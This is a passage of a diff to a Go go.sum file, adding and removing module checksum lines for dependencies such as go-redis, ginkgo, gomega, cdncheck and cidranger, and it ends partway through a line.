github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE= github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk= -github.com/go-logfmt/logfmt v0.5.0 h1:TrB8swr/68K7m9CcGut2g3UOihhbcbiMAYiuTXdEih4= -github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A= +github.com/go-redis/redis/v8 v8.11.5 h1:AcZZR7igkdvfVmQTPnu9WE37LRrO/YrBH5zWyjDC0oI= +github.com/go-redis/redis/v8 v8.11.5/go.mod h1:gREzHqY1hg6oD9ngVRbLStwAWKhA0FEgq8Jd4h5lpwo= github.com/go-sql-driver/mysql v1.6.0 h1:BCTh4TKNUYmOmMUcQ3IipzF5prigylS7XXjEkfCHuOE= github.com/go-sql-driver/mysql v1.6.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg= github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= +github.com/go-task/slim-sprig v0.0.0-20210107165309-348f09dbbbc0/go.mod h1:fyg7847qk6SyHyPtNmDHnmrv/HOrqktSC+C9fM+CJOE= github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= -github.com/godror/godror v0.30.1 h1:sstmD3Zeh/qqbdAWJV7OLaSUsM6f3lMk+X4mQU3xqmI= -github.com/godror/godror v0.30.1/go.mod h1:aWbwHSee9mdUziQGnwuu3jfvVF+g08/r3hMbsAAba7I= -github.com/godror/knownpb v0.1.0 h1:dJPK8s/I3PQzGGaGcUStL2zIaaICNzKKAK8BzP1uLio= -github.com/godror/knownpb v0.1.0/go.mod h1:4nRFbQo1dDuwKnblRXDxrfCFYeT4hjg3GjMqef58eRE= github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= github.com/gofrs/uuid v4.2.0+incompatible h1:yyYWMnhkhrKwwr8gAOcOCYxOOscHgDS9yZgBrnJfGa0= github.com/gofrs/uuid v4.2.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= @@ -225,6 +228,7 @@ github.com/google/pprof v0.0.0-20201023163331-3e6fc7fc9c4c/go.mod h1:kpwsk12EmLe github.com/google/pprof v0.0.0-20201203190320-1bf35d6f28c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= github.com/google/pprof v0.0.0-20210122040257-d980be63207e/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= github.com/google/pprof v0.0.0-20210226084205-cbba55b83ad5/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20210407192527-94a9f03dee38/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= github.com/google/pprof v0.0.0-20210601050228-01bbb1931b22/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= github.com/google/pprof v0.0.0-20210609004039-a478d1d731e9/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= github.com/google/pprof v0.0.0-20210720184732-4bb14d4b1be1/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= @@ -287,6 +291,7 @@ github.com/hashicorp/memberlist v0.3.0/go.mod h1:MS2lj3INKhZjWNqd3N0m3J+Jxf3DAOn github.com/hashicorp/serf v0.8.2/go.mod h1:6hOLApaqBFA1NXqRQAsxw9QxuDEvNxSQRwA/JwenrHc= github.com/hashicorp/serf v0.9.5/go.mod h1:UWDWwZeL5cuWDJdl0C6wrvrUwEqtQ4ZKBKKENpqIUyk= github.com/hashicorp/serf v0.9.6/go.mod h1:TXZNMjZQijwlDvp+r0b63xZ45H7JmCmgg4gpTwn9UV4= +github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU= github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358 h1:hVXNJ57IHkOA8FBq80UG263MEBwNUMfS9c82J2QE5UQ= github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358/go.mod h1:qBE210J2T9uLXRB3GNc73SvZACDEFAmDCOlDkV47zbY= github.com/iancoleman/strcase v0.2.0/go.mod h1:iwCmte+B7n89clKwxIoIXy/HfoL7AsD47ZCWhYzw7ho= @@ -314,6 +319,7 @@ github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22 github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU= github.com/json-iterator/go v1.1.9/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.11/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= +github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU= github.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/XSXhF0NWZEnDohbsk= @@ -326,11 +332,13 @@ github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxv github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg= github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= -github.com/kr/pretty v0.2.0 h1:s5hAObm+yFO5uHYt5dYjxi2rXrsnmRpJx4OYvIWUaQs= github.com/kr/pretty v0.2.0/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= +github.com/kr/pretty v0.2.1 h1:Fmg33tUaq4/8ym9TJN1x7sLJnHVwhP33CNkpYV/7rwI= +github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= -github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= +github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= +github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= github.com/lib/pq v1.10.4 h1:SO9z7FRPzA03QhHKJrH5BXA6HU1rS4V2nIVrrNC1iYk= github.com/lib/pq v1.10.4/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40 h1:EnfXoSqDfSNJv0VBNqY/88RNnhSGYkrHaO0mmFGbVsc= @@ -375,24 +383,36 @@ github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:F github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= github.com/mitchellh/mapstructure v1.4.3/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= +github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= +github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M= github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= github.com/neelance/astrewrite v0.0.0-20160511093645-99348263ae86/go.mod h1:kHJEU3ofeGjhHklVoIGuVj85JJwZ6kWPaJwCIxgnFmo= github.com/neelance/sourcemap v0.0.0-20200213170602-2833bce08e4c/go.mod h1:Qr6/a/Q4r9LP1IltGz7tA7iOK1WonHEYhu1HRBA7ZiM= -github.com/oklog/ulid v1.3.1 h1:EGfNDEx6MqHz8B3uNV6QAib1UR2Lm97sHi3ocA6ESJ4= +github.com/nxadm/tail v1.4.4/go.mod h1:kenIhsEOeOJmVchQTgglprH7qJGnHDVpk1VPCcaMI8A= +github.com/nxadm/tail v1.4.8 h1:nPr65rt6Y5JFSKQO7qToXr7pePgD6Gwiw05lkbyAQTE= +github.com/nxadm/tail v1.4.8/go.mod h1:+ncqLTQzXmGhMZNUePPaPqPvBxHAIsmXswZKocGu+AU= github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U= -github.com/oklog/ulid/v2 v2.0.2 h1:r4fFzBm+bv0wNKNh5eXTwU7i85y5x+uwkxCUTNVQqLc= -github.com/oklog/ulid/v2 v2.0.2/go.mod h1:mtBL0Qe/0HAx6/a4Z30qxVIAL1eQDweXq5lxOEiwQ68= github.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N7AbDhec= github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY= +github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= +github.com/onsi/ginkgo v1.12.1/go.mod h1:zj2OWP4+oCPe1qIXoGWkgMRwljMUYCdkwsT2108oapk= +github.com/onsi/ginkgo v1.16.4/go.mod h1:dX+/inL/fNMqNlz0e9LfyB9TswhZpCVdJM/Z6Vvnwo0= +github.com/onsi/ginkgo v1.16.5 h1:8xi0RTUf59SOSfEtZMvwTvXYMzG4gV23XVHOZiXNtnE= +github.com/onsi/ginkgo v1.16.5/go.mod h1:+E8gABHa3K6zRBolWtd+ROzc/U5bkGt0FwiG042wbpU= +github.com/onsi/ginkgo/v2 v2.0.0/go.mod h1:vw5CSIxN1JObi/U8gcbwft7ZxR2dgaR70JSE3/PpL4c= +github.com/onsi/gomega v1.7.1/go.mod h1:XdKZgCCFLUoM/7CFJVPcG8C1xQ1AJ0vpAezJrB7JYyY= +github.com/onsi/gomega v1.10.1/go.mod h1:iN09h71vgCQne3DLsj+A5owkum+a2tYe+TOCB1ybHNo= +github.com/onsi/gomega v1.17.0/go.mod h1:HnhC7FXeEQY45zxNK3PPoIUhzk/80Xly9PcubAlGdZY= +github.com/onsi/gomega v1.18.1 h1:M1GfJqGRrBrrGGsbxzV5dqM2U2ApXefZCQpkukxYRLE= +github.com/onsi/gomega v1.18.1/go.mod h1:0q+aL8jAiMXy9hbwj2mr5GziHiwhAIQpFmmtT5hitRs= github.com/panjf2000/ants/v2 v2.4.7 h1:MZnw2JRyTJxFwtaMtUJcwE618wKD04POWk2gwwP4E2M= github.com/panjf2000/ants/v2 v2.4.7/go.mod h1:f6F0NZVFsGCp5A7QW/Zj/m92atWwOkY0OIhFxRNFr4A= github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= github.com/pascaldekloe/goe v0.1.0/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= -github.com/pborman/getopt v0.0.0-20170112200414-7148bc3a4c30/go.mod h1:85jBQOZwpVEaDAr341tbn15RS4fCAsIst0qp7i8ex1o= github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic= github.com/pelletier/go-toml v1.9.4/go.mod h1:u1nR/EPcESfeI/szUZKdtJ0xRNbUoANCkoOuaOx1Y+c= github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= @@ -402,6 +422,8 @@ github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZb github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI= github.com/posener/complete v1.2.3/go.mod h1:WZIdtGGp+qx0sLrYKtIRAruyNpv6hFCicSgv7Sy7s/s= +github.com/projectdiscovery/cdncheck v0.0.3 h1:li2/rUJmhVXSqRFyhJMqi6pdBX6ZxMnwzBfE0Kifj/g= +github.com/projectdiscovery/cdncheck v0.0.3/go.mod h1:EevMeCG1ogBoUJYaa0Mv9R1VUboDm/DiynId7DboKy0= github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw= github.com/prometheus/client_golang v0.9.3/go.mod h1:/TN21ttK/J9q6uSwhBd54HahCDft0ttaMvbicHlPoso= github.com/prometheus/client_golang v1.0.0/go.mod h1:db9x61etRT2tGnBNRi70OPL5FsnadC4Ky3P0J6CfImo= @@ -474,6 +496,8 @@ github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1 github.com/tv42/httpunix v0.0.0-20150427012821-b75d8614f926/go.mod h1:9ESjWnEqriFuLhtthL60Sar/7RFoluCcXsuvEwTV5KM= github.com/veandco/go-sdl2 v0.4.0/go.mod h1:FB+kTpX9YTE+urhYiClnRzpOXbiWgaU3+5F2AB78DPg= github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU= +github.com/yl2chen/cidranger v1.0.2 h1:lbOWZVCG1tCRX4u24kuM1Tb4nHqWkDxwLdoS+SevawU= +github.com/yl2chen/cidranger v1.0.2/go.mod h1:9U1yz7WPYDwf0vpNWFaeRh0bjwz5RVgRy/9UEQfHl0g= github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= @@ -555,6 +579,7 @@ golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.5.0/go.mod h1:5OXOZSfqPIIbmVBIIKWRFfZjPR0E5r58TLhUjH0a2Ro= golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20181023162649-9b4f9f5ad519/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20181201002055-351d144fa1fc/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= @@ -581,6 +606,7 @@ golang.org/x/net v0.0.0-20200324143707-d3edc9973b7e/go.mod h1:qpuaurCH72eLCgpAm/ golang.org/x/net v0.0.0-20200501053045-e0ff5e5a1de5/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= golang.org/x/net v0.0.0-20200506145744-7e3656a0809f/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= golang.org/x/net v0.0.0-20200513185701-a91f0712d120/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= +golang.org/x/net v0.0.0-20200520004742-59133d7f0dd7/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= golang.org/x/net v0.0.0-20200520182314-0ba52f642ac2/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= golang.org/x/net v0.0.0-20200625001655-4c5254603344/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= golang.org/x/net v0.0.0-20200707034311-ab3426394381/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= @@ -594,6 +620,7 @@ golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v golang.org/x/net v0.0.0-20210316092652-d523dce5a7f4/go.mod h1:RBQZq4jEuRlivfhVLdyRGr576XBO4/greRjx4P4O3yc= golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM= golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1/go.mod h1:9tjilg8BloeKEkVJvy7fQ90B1CfIiPueXVOjqfkSzI8= +golang.org/x/net v0.0.0-20210428140749-89ef3d95e781/go.mod h1:OJAsFXCWl8Ukc7SiCT/9KSuxbyM7479/AVlXFRxuMCk= golang.org/x/net v0.0.0-20210503060351-7fd8e65b6420/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20210813160813-60bc85c4be6d/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= @@ -626,11 +653,11 @@ golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJ golang.org/x/sync v0.0.0-20200625203802-6e8e738ad208/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201207232520-09787c993a3a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20210220032951-036812b2e83c h1:5KslGYwFpkhGh+Q16bwMP3cOontH8FOep7tGV86Y7SQ= golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20181107165924-66b7b1311ac8/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= @@ -645,12 +672,14 @@ golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190726091711-fc99dfbffb4e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190904154756-749cb33beabd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190922100055-0a153f010e69/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190924154521-2837fb4f24fe/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191001151750-bb3f8db39f24/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191008105621-543471e840be/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20191120155948-bd437916bb0e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191204072324-ce4227a45e2e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191228213918-04cbcbbfeed8/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200113162924-86b910548bc1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -673,6 +702,7 @@ golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201201145000-ef89a241ccb3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210104204734-6f8348627aad/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210112080510-489259a85091/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210220050731-9a76102bfb43/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210303074136-134d130e1a04/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -763,6 +793,7 @@ golang.org/x/tools v0.0.0-20200904185747-39188db58858/go.mod h1:Cj7w3i3Rnn0Xh82u golang.org/x/tools v0.0.0-20201110124207-079ba7bd75cd/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.0.0-20201201161351-ac6f37ff4c2a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.0.0-20201208233053-a543418bbed2/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= +golang.org/x/tools v0.0.0-20201224043029-2b0845dc783e/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.0.0-20210105154028-b0ab187a4818/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0= @@ -774,7 +805,6 @@ golang.org/x/tools v0.1.5/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= -golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE= golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE= google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M= @@ -918,19 +948,22 @@ google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGj google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= -google.golang.org/protobuf v1.27.1 h1:SnqbnDw1V7RiZcXPx5MEeqPv2s79L9i7BJUlG/+RurQ= google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo= gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/check.v1 